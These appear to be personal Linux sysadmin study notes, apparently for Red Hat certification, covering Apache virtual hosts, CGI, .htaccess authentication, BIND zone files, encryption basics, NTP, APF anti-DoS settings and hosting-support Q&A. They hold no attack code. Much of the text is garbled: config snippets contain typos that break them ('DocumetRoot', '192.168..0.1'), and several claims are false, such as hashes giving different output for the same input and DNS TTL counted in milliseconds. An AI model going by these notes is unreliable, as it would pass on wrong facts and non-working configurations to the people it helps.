# rm –rf .ssh/known_hosts)
* how to configure a virtual website
open conf file—
# vi /et/httpd/conf/httpd.conf
Keep line no. 57,134,230,231 will remain the same (as for server)
Then go to the line no .: 250 make it change
--> ServerAdmin root@www2.example.com
* go to line no. 264
-->ServerAdmin www2.example.com.:80
Then go to end of file—
NameVirtualHost 192.168.0.2
<VirtualHost 192.168.0.2>
ServerAdmin root@www2.example.com
DocumetRoot /var/www/virtual/html
ServerName www2.example.com-error_log
CustomeLog logs/www2.example.com-access_log combined
<Directory /var/www/virtual/html>
Options Includes Indexes
</Directory>
</VirtualHost>
:wq!
(#httpd -t --> syntax ok)
# mkdir –p /var/www/virtual/html
#cd /var/www/virtual/html
# vi index.html
THIS IS THE VIRTUAL WEBSITE
:wq!
# service httpd restart
*client side step
Links http://www.example.com
* how to run CGI programme in website & display out put in client browser
CGI --> common Getway Interface
* CGI programme are use to run server programme on client browser
* server side step
# vi /etc/httpd/conf/httpd.conf
Go to the remaining patch same and add this line
(above directory type)
--ScriptAlias /cgi-bin/ /var/www/virtual/cgi-bin/
* /cgi-bin/ :-- logical path while running a shell script
/var/www/virtual/cgi-bin/
* /var/www/virtual/cgi-bin
Physical path will running a shell script
:wq!
# Mkdir –p /var/www/virtual.cgi-bin/
# Cd /var/www/virtual.cgi-bin/
# ls
# vi test.sh ( write the following script )
#!/bin/bash
Echo Content-Type : text/html
Echo
echo
echo “<pre>”
echo “my user name is: $(whoami)”
echo
echo
echo “the date is:”
date
echo
echo “<pre>”
echo “the cal is:”
echo
echo “</pre>”
:wq!
Explanation :.
1) command interpreter is the bash shell
2) output in the form of html
3) add a blank line
4) start of pre formatted tag
5) automatically add line breaks or page breaks
end of pre formatted tag
# chmod a+x test.sh
# service httpd restart
* client side steps.
#Links http:// www2.example.com/cgi-bin/test.sh
* how to protect website by user name & website
* Server side step:-
# cd /var/www/virtual/html/
# ls
# ls –al
# vi .htaccess
AuthName “restricted stuff”
AuthType Basic
AuthUserFile /etc/httpd/conf/.htpasswd-www2
Require user andy
:wq!
# cd /etc/httpd/conf
# htpasswd –mc .htpasswd-www2 andy
# chgrp apache .htpasswd-www2
# chmod 640.htpasswd-www2
# service httpd restart
( httpd –t syntax check of configuration) (service ntpd config test)
* after go to the main conf file
# vi /etc/httpd/conf/httpd.conf
An go to the end of file
AllowOverride Authconfig
add this line above </Directory> type
# service httpd restart
* client side step
# httpd ://www2.example.com
Then ask u for login
Username : andy
Passwd : andy
( for GUI mozilla http://station.example.com/index.html
http://localhost/index.html)
# Vi .htaccess
Line no 1) authentication name that will appear on client side
2) authentication line is basic i.e it’s going for username & passwd
3) that is the password fiel
4) person or user who can access password i.e password andy is stored in this file
# htpasswd –mc htpasswd-www2 andy
Give hyper text type password to the user andy and stored it in respective file.
--mc :-- md5 passwd
-C :-- create a file
Change group file for apache
Change the permission of file.
* i.e. add authentication for the website
DNS SERVER 2nd November 07
DNS –Domain Name System Server
Features :-
1) forward lookup - converts hostname to IP address
2) reverse lookup – converts IP address to hostname
3) MX records - mail exchanger
Mail exchanger records kept inside the DNS
4)Domain Hierarchy -- tree like structure of domain .
Domain hierarchy .com .net .gov o.org
Top level domain yahoo hotmail server1.example
Sub domain hosts /mlc’s www mail S-1 S-2 S-3 S-4 S-5 S-6
* every top level domain has a different DNS server :.
* Zone :- zone is a set of record of every machine in domain
SYSTEM V SERVICES :
PORT NO.: 53
* two different type of DNS
* the two main type of DNS are
1] MASTER DNS : - master DNS consist of main copy of zone deta
2] SLAVE DNS :- replicated copy of Master DNS
* Advantages of Master & Slave DNS
1] fault tolerance :- if master DNS server is down then we can make use of slave DNS.
2] Load Balancing:- management of client by both.
Master & Slave .
* LAB Sequence :-
* How to configure master DNS
3 files which are to be configure
# /var/named/chroot/etc/named.conf
# forword lookup zone
# reverse lookup zone
# cd /var/named/chroot/etc/
# vi named.conf
Options {
directory “/var/named”;
};
zone “ost.com” IN {
type master;
file “ost.com.zone”;
};
zone “0.168.192. in-addr.arpa” IN {
type master;
file “192.168.0.zone”;
};
:wq!
Explanation :--
Line -- 1) option for the zone
{ start of options
2) directory from which the zones are to be taken
3) End of option
4) start of forward lookup zone for ost.com
IN – internet
{ start of zone
5) type master – type of DNS is master DNS
6) name of forward lookup zone
7) }; end of forward lookup zone
8) this is revers lookup zone for ost.com
in-addr.arpa --> syntax of DNS
IN- internet { start of reverse lookup zone
9) type of DNS is master DNS
10) name of reverse lookup zone
11) }; end of reverse lookup zone
:wq!
# cd /var/named/shroot/var/named/
* for forward lookup zone
# vi ost.com.zone
$TTL 86400
ost.com IN SOA station1.ost.com. root.station1.ost.com. (
42 ; Serial
3H ; Refresh
15M ; Retry
1W ; Expiry
1D ) ; Negative answer cache
IN NS station1.ost.com.
Station1 IN A 192.168..0.1
Station2 IN A 192.168.0.2
Station3 IN A 192.168.0.3
Station4 IN A 192.168.0.4
Station5 IN A 192.168.0.5
Station6 IN A 192.168.0.6
@ IN MX 10 server1
@ IN MX 19 station1
www1 IN CNAME station1
www2 IN CNAME station2
www3 IN CNAME station3
www4 IN CNAME station4
www5 IN CNAME station5
www6 IN CNAME station6
www254 IN CNAME server1
Explanation :--
1) $ TTL :-- time to live --> time to live cache
Memory--> the client will stored the
Answer got from DNS server for ( 86400)
This mili second
2) ost.com --> name of the zone
IN --> internet
SOA --> start of authority
Station1.ost.com --> host name of DNS
Root.station1.ost.com--> Administrator of DNS server is root user
( --> start of option
3) 42 --> serial version number means -- IF any change i.e addition of removal of
Machine the next version is 2 be given.
4) 3H ; Refresh ; --> the slave DNS then it will replicated deta from master DNS
Every 3 hourse.
5) 15m; retry --> the slave DNS is enable to contact master DNS then it will
Keeping after every 15 min .
6) 1W; Expire --> means if slave server is not able to contact the master for 1 week
then it is no use
7) 1D ) --> if client has not got the answer from master of DNS server for a particular
host machine then it will not contact DNS for 1 day for that host.
8) IN – internet NS --> name server is station 2.ost.com
11) address of station1 is 192.168.0.1
12) 2 0.2
13) 3 0.3
14) 4 0.4
15) 5 0.5
16) 6 0.6
17) Server1 server1 0.254
18) @ -- ost.com
MX—mail exchanger
10 – priority of mail exchange
19) As above
19 -- priority
21) www1
CNAME --> CANONICAL NAME for www1 is station1
22)as above
23)
24)
25)
26)
27) www254 is server canonical name
# vi 192.168.0.zone
$TTL 86400
@ IN SOA station1.ost.com root@station1.ost.com (
(
42 ; Serial
3H ; Refresh
15M ; Retry
1W ; Expiry
1 D ) ; minimum
IN NS statin1.ost.com
1.0.168.192.in-addr.arpa IN PTR statoon1.ost.com.
2.0.168.192.in-addr.arpa IN PTR statoon2.ost.com.
3.0.168.192.in-addr.arpa IN PTR statoon3.ost.com.
4.0.168.192.in-addr.arpa IN PTR statoon4.ost.com.
5.0.168.192.in-addr.arpa IN PTR statoon5.ost.com
6.0.168.192.in-addr.arpa IN PTR statoon6.ost.com..
Line 9 --> reveres lookup add for station 1 in-addr.arpa --> syntax of DNS
PTR – pointer
Station1.ost.com -- HOSTNAME
Same Explanation Of Above Line
(DNS .stuff.com)
# vi /etc/resolve.conf
Make entry as
Search ost.com
Nameserver 192.168.0.1
:wq!
# service named restart
# cd
# host station2.example.ost.com
It gives u IP address
# host 192.168.0.6
Hostname gives you
# host yahoo.com
That gives you IP address
5th nov 2007
DATA ENCRYPTION
Data encryption cipher
algorithm text
| encrypted data
* data encrypted :--
to convert given deta into a coded or encrypted far it call as data encryption
* 5 types of data encryptions:--
1) random Number algorithm
2) one way hash
3) symmetric key encryption
4) asymmetric key encryption
5) digital certificate .
1) random Number algorithm :-
this is a older method of encryption in this for same plain text
we will get different cipher text
# openssl --rand bae64 23
Explanation:-
-rand :- random number algorithm
Base 64:- 64 bit key
The num _23 :- any plain text
2) one way hash :--
one way hash can encrypted the data but cannot dcrypt it
for same plain text it give u different cipher text .
# openssl md5
Any name
|
Then press ctrl +d twice<--|
3) symmetric key encryption :--
Sender internet receiver
Key keys
Steps:
1) sender will create key for encryptions
2) sender will send the key to receiver
3) sender will encrypt the data with the key and send it’s to receiver
4) receiver will dcrypt the data with the help of same key
* disadvantage :- if any one haks the key then he can lock the data
* Advantages :-- this method is faster the a symmetric key encryption.
4) Asymmetric key encryption :--
There are <type of keys>
1) public key
2) private key
sender-------- internet--------reciever
| | | |
public private public private
key key key key
steps:-
1) sender will create key pair
1) public key
2) private key
2) sender will publish the public key on the internet but will protect his private key
3) receiver does the same thing sender will encrypted the data
4) with public key of receiver
5) receiver will dcrypt data with his own private key
* Advantages :-- no one can hack the data ( diff key)
* Disadvantage :-- there is no trust sender and receiver
DIGITAL CERTIFICATE :--
Certificate authority
Pv.k----pu.k----- CA pu pr
| | | |
Sender-----------internet------------receiver
Steps :--
1) sender will create will private key
2) sender will get register with the CA by filling of registration form
3) CA will issuing digital certificate containing with public key
4) Receiver will perform same steps
5) Other steps are previous asymmetric key encryption
Advantages :-- trust between sender & receiver
* digital certificate for IMAP server
system V services
# service dovecote restart
# cd /etc/pki/dovecot/certs/
# ls
Dovecot.pem ( remove this file)
# cd /etc/pki/tls/certs
( SSL—secured socket layer )
# make /etc/pki/dovecot/certs/dovecot.pem
Then output
Country Name : IN
State : MAH
Organization name : OST
Organization unit name : training
Common name : station6.example.com
E-mail address : just enter
# cd /etc/pki/dovecot/certs/
# ls
# cp dovecot.pem ../private/
# service dovecot restart
# mutt –f {bob@station6.example.com/ssl}
Press O
NTP SERVER
* network time protocol server :--
( this is synchronize)
* server side step
* # vi /etc/ntp.conf
:wq!
# service ntpd restart
# ntpdate -buv 192.168.0.254
Syncronise clock of client machine with the clock of server machine.
* parmanant bases
# vi /etc/ntp.conf
Go to the line no 30.
Server 192.168.0.254 --add this line
# service ntpd restart
# ntpq - check it
Ntpq> peers
Quit
# clear
( wall 192.168.0.X reboot)
Exam over view
I) troubleshooting & maintenance
2 ½ hours 100 marks
Questions 10
Each question having 10 marks
5 are compulsory -- 1 hrs
5+2 --RHCT |
5+3 -- RHCE | 1 ½ hours
II) installation & configuration 3 hours 100 marks
Questions --25
RHCT --12 Q
RHCT – 70% | I
70% | II
RHCE -- 80% | I
70% | II
* how to add extra IP address
# cd /etc/sysconfig/network-scripts/
# cp ifcfg-eth0 ifcfg-eth:4
# vi ifcfg –eth:4
# service network restart
Dial up modem
# wvdial conf /etc/wvdial.conf
# vi /etc/wvdial.conf
* Brod band modem
# adsl - setup
# adsl - start
# adsl - stop
# linux rescue noipv6 ask-method nfs grub boot loader corrupt
Add IP range from command line :
#cd /etc/sysconfig/network-scripts
#vi ifcfg-eth0-range0
IPADDR_START=67.159.6.98
IPADDR_END=67.159.6.126
NETMASK=255.255.255.224
CLONENUM_START=0
You will have to remove the add-on domain from all the files cPanel creates an entry in and then add it back. The files are
httpd.conf (restart the httpd service once you edit it)
named.conf and .db file from /var/named/ (restart named service)
/etc/localdomains
/etc/remotedomains
/etc/trueuserdomains
/etc/userdomains
/var/cpanel/users/username (username is the main domains username)
all soution URL
http://instacarma.com/blog/tag/1. what is ddos attack and how to prevent?
A denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a computer resource unavailable to its intended users. Although the means to carry out, motives for, and targets of a DoS attack may vary, it generally consists of the concerted efforts of person or persons to prevent an Internet site or service from functioning efficiently or at all, temporarily or indefinitely. Perpetrators of DoS attacks typically target sites or services hosted on high-profile web servers such as banks, credit card payment gateways, and even root nameservers. The term is generally used with regards to computer networks, but is not limited to this field; for example, it is also used in reference to CPU resource management.[1]
One common method of attack involves saturating the target machine with external communications requests, such that it cannot respond to legitimate traffic, or responds so slowly as to be rendered effectively unavailable. In general terms, DoS attacks are implemented by either forcing the targeted computer(s) to reset, or consuming its resources so that it can no longer provide its intended service or obstructing the communication media between the intended users and the victim so that they can no longer communicate adequately.
Denial-of-service attacks are considered violations of the IAB's Internet proper use policy, and also violate the acceptable use policies of virtually all Internet service providers. They also commonly constitute violations of the laws of individual nations.[citation needed]
Prevention and response
[edit]Firewalls
Firewalls have simple rules such as to allow or deny protocols, ports or IP addresses. Some DoS attacks are too complex for today's firewalls, e.g. if there is an attack on port 80 (web service), firewalls cannot prevent that attack because they cannot distinguish good traffic from DoS attack traffic. Additionally, firewalls are too deep in the network hierarchy. Routers may be affected even before the firewall gets the traffic. Nonetheless, firewalls can effectively prevent users from launching simple flooding type attacks from machines behind the firewall.
Some stateful firewalls, like OpenBSD's pf(4) packet filter, can act as a proxy for connections: the handshake is validated (with the client) instead of simply forwarding the packet to the destination. It is available for other BSDs as well. In that context, it is called "synproxy".[41]
[edit]Switches
Most switches have some rate-limiting and ACL capability. Some switches provide automatic and/or system-wide rate limiting, traffic shaping, delayed binding (TCP splicing), deep packet inspectionand Bogon filtering (bogus IP filtering) to detect and remediate denial of service attacks through automatic rate filtering and WAN Link failover and balancing.[citation needed]
These schemes will work as long as the DoS attacks are something that can be prevented by using them. For example SYN flood can be prevented using delayed binding or TCP splicing. Similarly content based DoS can be prevented using deep packet inspection. Attacks originating from dark addresses or going to dark addresses can be prevented using Bogon filtering. Automatic rate filtering can work as long as you have set rate-thresholds correctly and granularly. Wan-link failover will work as long as both links have DoS/DDoS prevention mechanism.[citation needed]
[edit]Routers
Similar to switches, routers have some rate-limiting and ACL capability. They, too, are manually set. Most routers can be easily overwhelmed under DoS attack. If you add rules to take flow statistics out of the router during the DoS attacks, they further slow down and complicate the matter. Cisco IOS has features that prevent flooding, i.e. example settings.[42]
[edit]Application front end hardware
Application front end hardware is intelligent hardware placed on the network before traffic reaches the servers. It can be used on networks in conjunction with routers and switches. Application front end hardware analyzes data packets as they enter the system, and then identifies them as priority, regular, or dangerous. There are more than 25 bandwidth management vendors. Hardware acceleration is key to bandwidth management.[citation needed]
[edit]IPS based prevention
Intrusion-prevention systems (IPS) are effective if the attacks have signatures associated with them. However, the trend among the attacks is to have legitimate content but bad intent. Intrusion-prevention systems which work on content recognition cannot block behavior-based DoS attacks.[citation needed]
An ASIC based IPS can detect and block denial of service attacks because they have the processing power and the granularity to analyze the attacks and act like a circuit breaker in an automated way.[citation needed]
A rate-based IPS (RBIPS) must analyze traffic granularly and continuously monitor the traffic pattern and determine if there is traffic anomaly. It must let the legitimate traffic flow while blocking the DoS attack traffic.[citation needed]
[edit]Prevention via proactive testing
Test platforms such as Mu Dynamics' Service Analyzer are available to perform simulated denial-of-service attacks that can be used to evaluate defensive mechanisms such IPS, RBIPS, as well as the popular denial-of-service mitigation products from Arbor Networks. An example of proactive testing of denial-of-service throttling capabilities in a switch was performed in 2008: The Juniper EX 4200switch with integrated denial-of-service throttling was tested by Network Test and the resulting review was published in Network World.
[edit]Blackholing and sinkholing
With blackholing, all the traffic to the attacked DNS or IP address is sent to a "black hole" (null interface, non-existent server, ...). To be more efficient and avoid affecting your network connectivity, it can be managed by the ISP.[43]
Sinkholing routes to a valid IP address which analyzes traffic and rejects bad ones. Sinkholing is not efficient for most severe attacks.
[edit]Clean pipes
All traffic is passed through a "cleaning center" via a proxy, which separates "bad" traffic (DDoS and also other common internet attacks) and only sends good traffic beyond to the server. The provider needs central connectivity to the Internet to manage this kind of service.[44]
Prolexic, Verisign and Adversor are examples of providers of this service.[45][46]
[edit]
2. What is file system?
A file system (sometimes written as filesystem) is a method of storing and organizing arbitrary collections of data, in a form that is human-readable. A file system organizes data into an easy-to-manipulate database of human-readable names for the data, usually with a human-readable hierarchical organization of the data, for the storage, organization, manipulation, and retrieval by the computer's operating system. Each discrete collection of data in a file system is referred to as a computer file.
3. What is IP spoofing?
he Basic protocol for sending data over the Internet network and many other computer networks is the Internet Protocol ("IP"). The header of each IP packet contains, among other things, the numerical source and destination address of the packet. The source address is normally the address that the packet was sent from. By forging the header so it contains a different address, an attacker can make it appear that the packet was sent by a different machine. The machine that receives spoofed packets will send a response back to the forged source address, which means that this technique is mainly used when the attacker does not care about the response or the attacker has some way of guessing the response.
In certain cases, it might be possible for the attacker to see or redirect the response to his own machine. The most usual case is when the attacker is spoofing an address on the same LAN or WAN. Hence the attackers have unauthorized access to computers.
4. Port Numbers.
21 => FTP
22 => SSH
23 => Telnet
25 => SMTP Mail Transfer
43 => WHOIS service
53 => name server (DNS)
80 => HTTP (Web server)
110 => POP protocol (for email)
995 => POP over SSL/TLS
9999 => Urchin
111 => rpcbind
953 => rndc
143 => IMAP Protocol (for email)
993 => IMAP Secure
443 => HTTP Secure (SSL for https:// )
3306 = > MysQL Server
4643 => Virtuosso Power Panel
2082 => CPANEL
2083 => CPANEL - Secure/SSL
2086 => CPANEL WHM
2087 => CPANEL WHM - Secure/SSL
2095 => cpanel webmail
2096 => cpanel webmail - secure/SSL
Plesk Control Panel => 8443
DirectAdmin Control Panel => 2222
Webmin Control Panel => 10000
1. How to find which ports are open?
You can find the ports in your linux server with the nmap command
netstat -nap --tcp
5. How to work FTP and what is use of port 20 and 21?
Basically FTP is a protocol that uses two ports namely port 21 for commands and port 20 for data. In Active FTP, the client initiates a connection on the server’s command port. The server then initiates a connection with the client from its data port. In Passive FTP, the client initiates both connections with the server, which remains “passive”.
6. What is kernerl?
The kernel is the essential center of a computer operating system, the core that provides basic services for all other parts of the operating system. A synonym is nucleus. A kernel can be contrasted with a shell, the outermost part of an operating system that interacts with user commands. Kernel and shell are terms used more frequently in Unix operating systems than in IBM mainframe or Microsoft Windows systems.
Typically, a kernel (or any comparable center of an operating system) includes an interrupt handler that handles all requests or completed I/O operations that compete for the kernel's services, a scheduler that determines which programs share the kernel's processing time in what order, and a supervisor that actually gives use
LEARN MORE
* Open source Web and application servers
of the computer to each process when it is scheduled. A kernel may also include a manager of the operating system's address spaces in memory or storage, sharing these among all components and other users of the kernel's services. A kernel's services are requested by other parts of the operating system or by application programs through a specified set of program interfaces sometimes known as system calls.
Because the code that makes up the kernel is needed continuously, it is usually loaded into computer storage in an area that is protected so that it will not be overlaid with other less frequently used parts of the operating system.
The kernel is not to be confused with the Basic Input/Output System (BIOS).
Some kernels have been developed independently for use in any operating system that wants to use it. A well-known example is the Mach kernel, developed at Carnegie-Mellon University, and currently used in a version of the Linux operating system for Apple's PowerMac computers.
7. How many tables in iptables?
NAT
Mangle
Filter
8. What are shell variables?
Anti-DoS configuration for APF Firewall - helps mitigate denial of service type attacks.
1) Introduction:
Antidos is a log parsing script made for r-fx.org's APF (advanced policy
firewall). It's purpose is too parse specific log formats for network attacks
against a given system; then take certian actions. it is designed to be modular
so it can be removed from APF and used in other environments.
The two supported log formats are standard iptable log entries (as seen in a
systems kernel log), and snort portscan.log format.
2) Configuration:
The configuration file for antidos is well commented and easy to configure &
navigate.
Antidos main configuration file is located at:
/etc/apf/ad/conf.antidos
You will need to go through it and configure options you feel meet your
environment settings. Below is a definition breakdown of each feature in
the conf.apf file (except misc. options), listed in the format of Option
(config option and default value) followed by definition.
Option: APF_BASE="/etc/apf"
Definition: The base install path of APF, should not need to be changed on
default installations.
Option: APF_CNF="$APF_BASE/conf.apf"
Definition: The absolute location of the APF config file, should not need to
be changed on default installations.
Option: INSPATH="$APF_BASE/ad"
Definition: The base install path of antidos, should not need to be changed on
default installations.
Option: ANTILOG="/var/log/apfados_log"
Definition: This is absolute file path that antidos should log events to. It's
creation and permissions are set by antidos however logrotate.d or the likes
can be used to handle rotation of this file.
Option: LP_KLOG="0"
Definition: Enable parsing of the kernel log file for attack events, if this or
another LP_* (log parsing) option is not enabled then antidos will not operate.
[0 = Disabled / 1 = Enabled]
Option: LP_SNORT="0"
Definition: Enable parsing of the snort portscan.log file for attack events, if
this or another LP_* (log parsing) option is not enabled then antidos will not
operate. [0 = Disabled / 1 = Enabled]
Option: DET_SF="0"
Definition: Detect SYN_RECV connections from the netstat output; this is primarily
intended to stop syn-flood attacks against web servers. [0 = Disabled / 1 = Enabled]
Option: KLOG="/var/log/messages
Definition: The path to the system's kernel log file, iptables logs by default
to the systems kernel log.
Option: SLOG="/var/log/snort/portscan.log"
Definition: The path to your snort installation's portscan.log file.
Option: LN="100"
Definition: The amount of lines that should be checked at the end of a given
log file. The higher this value; the slower antidos will run, 100-300 is offten
a safe bet.
Option: TRIG="12"
Definition: This value is the trigger value, if a remote IP is found present in
the given log file more than this amount; an attack is assumed to be in
progress. Setting this to low may result in a high false positive ratio, but
to high of a value may miss attacks all together. A 10-20% value in relation
to the LN option is a good bet.
Option: SF_TRIG="25"
Definition: This value is the trigger value for syn-flood bans. If a remote IP
is found present more than this amount of times with a SYN_RECV connection; an
attack is assumed to be in progress. This value is naturally lower than
standard TRIG, and the LN option does not apply to this tigger. A value of 25
is often ideal for this option but should be increased/decreased based on load.
Option: ROUTE_REJ="0"
Definition: This option controles if attacking hosts should be rejected from
the systems route table. This is not a recommended feature but is nonetheless
common method. [0 = Disabled / 1 = Enabled]
Option: DROP_IF="0"
Definition: This option controles if the DESTINATION IP of an attack should be
droped on your system. In other words unbinding the victim ip from your system,
this is wise on networks with zero tolerence for attacks. The main adapter ip
address is obviously excempted from this feature. [0 = Disabled / 1 = Enabled]
Option: NCRIT_PORTS="$INSPATH/noncrit.ports"
Definition: Non-critical ports file; ports (destination port) defined in this
file will not trigger DROP_IF function (if set to 1). Remote hosts will still
be banned as applicable to other options (ROUTE_REJ etc..). Effective for
ignoring common scanned ports that pose no threat (e.g: netbios). This file has
a line seperated format.
Option: IPT_BL="1"
Definition: This options controles standard iptables block of an attack and
should be enabled. [0 = Disabled / 1 = Enabled]
Option: FWRST="$APF_BASE/apf -r"
Definition: The command method of restart/reloading firewall rules after an
attack ban is generated.
Option: BLOCKR="$INSPATH/ad.rules"
Definition: The location to write out iptables based blocks of an attack, this
file should be included during loadtime of your given iptables firewall(already
the case with APF).
Option: ARTOPIC="Urgent: Administrative issue enclosed, please read."
Definition: The subject string for e-mail alerts sent by antidos.
Option: MAX_MNUM="12"
Definition: This value is used to prevent email flooding from antidos. No more
than this value of e-mail alerts will be sent out per/day. Logging events will
still be made.
Option: CONAME="Your Company"
Definition: The name of your company/Organization as will be displayed in arin
abuse notices.
Option: USR_ALERT="0"
Definition: This value controles the sending of e-mail alerts to a defined
user. This and/or another *_ALERT setting should be enabled for some form
of notifcation of attacks. The e-mail contents of this alert can be configured
from the usr.msg file inside your antidos path. [0 = Disabled / 1 = Enabled]
Option: USR="you@yourco.com"
Definition: The user e-mail address that antidos sends attack alerts to.
Option: ARIN_ALERT="0"
Definition: This value controles the sending of e-mail alerts to the listed
arin contact info for an attacking IP (if present). This and/or another *_ALERT
setting should be enabled for some form of notifcation of attacks. The e-mail
contents of this alert can be configured from the arin.msg file inside your
antidos path. [0 = Disabled / 1 = Enabled]
Option: IPW_SRV="whois.arin.net"
Definition: This value controles the server used to query an ip for a contact
e-mail address. If needed this should be changed to a prefered ip-whois server.
Option: RETUSR="$USR"
Definition: This value controles the return e-mail address as listed in the
arin e-mail alert sent to remote network admins. By default this value will be
taken from the USR option above.
3) Usage:
Antidos is intended to operate via cron. This is a critical setup point as if
not done, antidos will simply not operate.
The following string can be placed into /etc/crontab or similar file:
*/2 * * * * root /etc/apf/ad/antidos -a >> /dev/null 2>&1
This will run antidos every two minutes. I dont recommend running it once a
minute as it may cause a bottleneck for itself and the CPU. Likewise running it
beyound a period of once every 5 minutes is not recommended either, for obviouse
reasons.
MOD-DEFLATE :
mod-deflate
Client asks like this :
What is the process for configuring the server to transmit my webpages with gzip compression
This Google code page recommends using gzip to compress webpages sent from the server.
http://code.google.com/speed/page-speed/docs/payload.html#GzipCompression
What does it mean by this quotation:
'To enable compression, configure your web server to set the Content-Encoding header to gzip format for all compressible resources'
-------------- OR
Google have stated recently that it will take into account the speed at which a website loads in determining the heirarchy on the search engine results page.
http://code.google.com/speed/community.html
Google recommends compressing the website prior to transmission from the server to the client via gzip compression. This has become an option recently as more of the old browsers which did not accept gzip compression become redundant in use.
My impression from searching the web and trying to interpret geekspeek is that the server can be configured to compress the website prior to transmission. It is then uncompressed by the browser with a saving of the time to resolution of the page being about 50%
The server I use is an Apache 2.0.63. There is an instruction for inserting script into the .htaccess file to configure the server to compress using the deflate command contained in a blog:
To gzip your content in Apache, you can add this to your httpd.conf or .htaccess file:
SetOutputFilter DEFLATE
There are other bits of code that others use to configure the server and use the gzip code.
----------------------OR
Since I would like to improve the loading time of my websites, I wish to enable compressions. But I noticed that mod_deflate and/or mod_gzip are not currently installed with Apache on the server where my websites are hosted.
Would that be possible to install one of those Apache modules ? Thank you.
------------------------OR
What I would like to do is to enable http gzip compression, so that when I access http://www.cnx-translation.com, it will compress index.htm on the fly, and instead of downloading a 64KB files, the browser would download a file between 10 to 15 KB.
I have edited my .htaccess to enable that behavior and added the line
# compress all text & html:
AddOutputFilterByType DEFLATE text/html text/plain text/xml
as instructed here:
http://betterexplained.com/articles/how-to-optimize-your-site-with-gzip-compression/
Then I tested http://www.cnx-translation.com with http://www.gidnetwork.com/tools/gzip-test.php to check if gzip was enabled but it did no seem to be successful.
Then i used php_info() to check if mod_deflate or mod_gzip were enabled in apache, but apparently they are not loaded.
--------------------------------OR
search :
check in phpinfo, search deflate, It should be in the section "Loaded Modules", otherwise may be it is not compiled on the server.
reply :
We don't have module deflate compiled on the server. We can move your hosting account to different server where mod_deflate is compiled. Let us know if you wish to move your hosting account to different server.
---------------------------
How to enable mod_deflate :
http://www.mydigitallife.info/2010/04/17/how-to-enable-mod_deflate-gzip-compression-on-cpanel-web-hosts/Also please read :
http://forum.ahosting.net/php-compiled-apache-cgi-suphp-fastcgi-advantages-disadvantages-394.html
http://mt5.radified.com/blog/2010/01/suphp-apache-web-server-modx-777-security.html
http://forums.cpanel.net/f185/folder-permission-755-file-permission-644-safe-124369.html
PHP compiled as Apache/CGI/suphp/FastCGI :: Advantages/Disadvantages
PHP compiled as Apache/CGI/suphp/FastCGI :: Advantages/Disadvantages
Apache Module (mod_php)
========================
Advantages:
1. speed
2. needs less memory (RAM) than CGI
3. php.ini values can be changed via PHP scripts, vhost files, .htaccess files
Disadvantages:
1. Scripts are being executed with Apache privileges, which might lead to some security related problems
2. Only one version of PHP can be installed as Apache module
3. It is not possible to have seperate php.ini files for every host
suPHP
============
PHP will be installed as binary and is included into Apache through suPHP
Advantages:
1. Scripts will be executed with user privileges.
2. Each vhost can have its own php.ini file
3. Needs less memory (RAM) than CGI
4. More than one PHP version can be run as suPHP
5. There is no need to uninstall PHP as Apache module (mod_php)
Disadvantages:
1. php.ini values cannot be changed via PHP scripts, vhost files, .htaccess files
2. suPHP might be a little slower than mod_php
CGI
============
The PHP source will be patched and installed as binary.
Advantages:
1. Scripts will be executed with user privileges.
2. More than one PHP version can be run as CGI
3. Compatible with Apache module mod_vhost_alias (mass hosting module) due to our security patch
4. The patch modifies PHP's open_basedir automatically
Disadvantages:
1. CGI might use a little more memory (RAM). Therefore, it's not recommended to run PHP as CGI on slow virtual servers (vServer)
2. php.ini values cannot be changed via PHP scripts, vhost files, .htaccess files
FastCGI
============
PHP will be loaded as FastCGI module into Apache webserver.
Advantages:
1. Scripts will be executed with user privileges.
2. More than one PHP version can be run as FastCGI
3. Might be better in speed compared to CGI and suPHP
Disadvantages:
1. php.ini values cannot be changed via PHP scripts, vhost files, .htaccess files
2. complicated installation/configuration
=========================================================================
Folder Permission 755 and File Permission 644 safe ?
I would like to request an assistant.
My server is configured to use SuPHP and PHP run as CGI.
May i know it is safe to have a folder permission 755 and file permission 644 ?
The reason i'm asking is that, i found out eventhough the folder permission is 755 and file permission 644, my joomla application seems able to write the uploaded file into the folder or alter a file that have 644 permission.
I'm thinking whether hackers also able to upload into that folder and alter the files from outside ?
Ans :
" May i know it is safe to have a folder permission 755 and file permission 644 ? " , Yes these permissions are safe under Suphp.
The following are the advantages of Suphp ( it should run as cgi )
* PHP runs as your user/group
* PHP files can have permissions of 640 (hiding things like passwords from other accounts)
* Files/folders written by PHP are written as user/group (no Apache or other global user)
* Custom php.ini file per site (can add/remove security options)
Please note that suPHP does not allow permissions 666 and 777. The new writable permissions are
Files: 644
Folders: 755
Also suphp will not allow to declare php variable through .htaccess. You can use php.ini file to declare php variables
***********************************************************************************************Apache not starting
Apache logs showing error similar to the one shown below
[Fri Dec 18 10:28:46 2009] [error] (21)Is a directory: could not open transfer log file /usr/local/apache/domlogs/txsp.net.
Unable to open logs
[Fri Dec 18 10:28:46 2009] [error] (21)Is a directory: could not open transfer log file /usr/local/apache/domlogs/txsp.net.
Unable to open logs
[Fri Dec 18 10:28:46 2009] [error] (21)Is a directory: could not open transfer log file /usr/local/apache/domlogs/txsp.net.
Unable to open logs
[Fri Dec 18 10:28:47 2009] [error] (21)Is a directory: could not open transfer log file /usr/local/apache/domlogs/txsp.net.
Unable to open logs
[Fri Dec 18 10:28:47 2009] [error] (21)Is a directory: could not open transfer log file /usr/local/apache/domlogs/txsp.net.
Unable to open logs
This can happen if domain name and cPanel user name is same
Do the following command
grep DOMAINNAME /etc/userdomains
ex, root@host [/usr/local/apache/domlogs]# grep txsp.net /etc/userdomains
txsp.net: txsp.net
root@host [/usr/local/apache/domlogs]#
If it shows domain name and username is one and the same, modify username from WHM -> modify accounts
and make sure that changes username in domlogs.
Apache
httpd is the Apache HyperText Transfer Protocol (HTTP) server program
Q 1. How to check apache server path
Whereis httpd
Q 2. Ways to restart httpd
/usr/sbin/httpd -k start
/etc/init.d/httpd restart
service httpd restart
Q 3. How to check apache version
httpd –v
httpd –v
Server version: Apache/2.2.13 (Unix)
Server built: Sep 23 2009 05:43:01
Cpanel::Easy::Apache v3.2.0 rev4791
Httpd –V
It will show the httpd version along with build parameters of httpd
Httpd –V
root@explore [~]# httpd -V
Server version: Apache/2.2.13 (Unix)
Server built: Sep 23 2009 05:43:01
Cpanel::Easy::Apache v3.2.0 rev4791
Server's Module Magic Number: 20051115:23
Server loaded: APR 1.3.8, APR-Util 1.3.9
